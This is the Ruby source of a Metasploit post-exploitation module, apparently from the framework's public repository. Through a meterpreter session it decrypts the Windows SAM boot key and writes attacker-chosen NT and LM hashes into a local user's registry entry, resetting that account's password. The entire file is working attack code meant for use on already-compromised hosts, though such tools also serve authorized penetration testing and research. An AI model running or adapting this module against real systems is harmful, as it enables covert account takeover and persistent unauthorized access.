## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry def initialize(info={}) super( update_info( info, 'Name' => 'Windows Local User Account Hash Carver', 'Description' => %q{ This module will change a local user's password directly in the registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'p3nt4' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ OptString.new('user', [true, 'Username to change password of', nil]), OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil]) ], self.class) # Constants for SAM decryption @sam_lmpass = "LMPASSWORD\x00" @sam_ntpass = "NTPASSWORD\x00" @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00" @sam_numeric = "0123456789012345678901234567890123456789\x00" @sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") end def run begin #Variable Setup username=datastore['user'] pass=datastore['pass'] #Detecting password style if pass.length==32 print_status("Password detected as NT hash") nthash = pass lmhash="aad3b435b51404eeaad3b435b51404ee" elsif pass.length==65 print_status("Password detected as LN:NT hashes") nthash = pass.split(':')[1] lmhash = pass.split(':')[0] else print_status("Password detected as clear text, generating hashes:") nthash=hash_nt(pass) lmhash=hash_lm(pass) end print_line("LM Hash: "+lmhash) print_line("NT Hash: "+nthash) print_status("Searching for user") ridInt = get_user_id(username) rid = '%08x' % ridInt print_line("User found with id: " + rid) print_status("Loading user key") user = get_user_key(rid) print_status("Obtaining the boot key...") bootkey = capture_boot_key print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") hbootkey = capture_hboot_key(bootkey) print_status("Modifying user key") modify_user_key(hbootkey, ridInt, user,[nthash].pack("H*"),[lmhash].pack("H*")) print_status("Carving user key") write_user_key(rid, user) print_status("Completed! Let's hope for the best") rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error: #{e}") end end def capture_hboot_key(bootkey) ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) return if not ok vf = ok.query_value("F") return if not vf vf = vf.data ok.close hash = Digest::MD5.new hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) rc4 = OpenSSL::Cipher.new("rc4") rc4.key = hash.digest hbootkey = rc4.update(vf[0x80, 32]) hbootkey << rc4.final return hbootkey end def get_user_id(username) ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) ok.enum_key.each do |usr| uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) r = uk.query_value("") rid = r.type if usr.downcase == username.downcase return rid end uk.close end ok.close raise 'The user does not exist' end def get_user_key(rid) uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ) user = uk.query_value("V").data uk.close return user end def write_user_key(rid,user) uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE) uk.set_value("V",REG_BINARY,user) uk.close end def modify_user_key(hbootkey, rid, user, nthash, lmhash) hoff = user[0x9c, 4].unpack("V")[0] + 0xcc #Check if hashes exist (if 20, then we've got a hash) lm_exists = user[0x9c+4,4].unpack("V")[0] == 20 ? true : false nt_exists = user[0x9c+16,4].unpack("V")[0] == 20 ? true : false if !lm_exists and !nt_exists raise 'No password is currently set for the user' end print_status("Modifiying LM hash") if lm_exists user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass) else print_error("LM hash does not exist, skipping") end print_status("Modifiying NT hash") if nt_exists user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass) else print_error("NT hash does not exist, skipping") end end def rid_to_key(rid) s1 = [rid].pack("V") s1 << s1[0,3] s2b = [rid].pack("V").unpack("C4") s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") s2 << s2[0,3] [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] end def encode_utf16(str) str.to_s.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT) end def encrypt_user_hash(rid, hbootkey, hash, pass) if(hash.empty?) case pass when @sam_lmpass return @sam_empty_lm when @sam_ntpass return @sam_empty_nt end return "" end des_k1, des_k2 = rid_to_key(rid) d1 = OpenSSL::Cipher.new('des-ecb') d1.padding = 0 d1.key = des_k1 d2 = OpenSSL::Cipher.new('des-ecb') d2.padding = 0 d2.key = des_k2 md5 = Digest::MD5.new md5.update(hbootkey[0,16] + [rid].pack("V") + pass) rc4 = OpenSSL::Cipher.new('rc4') rc4.key = md5.digest rc4.encrypt d2o = d2.encrypt.update(hash[8,8]) d1o = d1.encrypt.update(hash[0,8]) enchash = rc4.update(d1o+d2o) return enchash end def hash_nt(pass) return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack("H*")[0] end def hash_lm(key) lm_magic = 'KGS!@\#$%' key = key.ljust(14, "\0") keys = create_des_keys(key[0, 14]) result = '' cipher = OpenSSL::Cipher::DES.new keys.each do |k| cipher.encrypt cipher.key = k result << cipher.update(lm_magic) end return result.unpack("H*")[0] end def create_des_keys(string) keys = [] string = string.dup until (key = string.slice!(0, 7)).empty? # key is 56 bits key = key.unpack('B*').first str = '' until (bits = key.slice!(0, 7)).empty? str << bits str << (bits.count('1').even? ? '1' : '0') # parity end keys << [str].pack('B*') end keys end end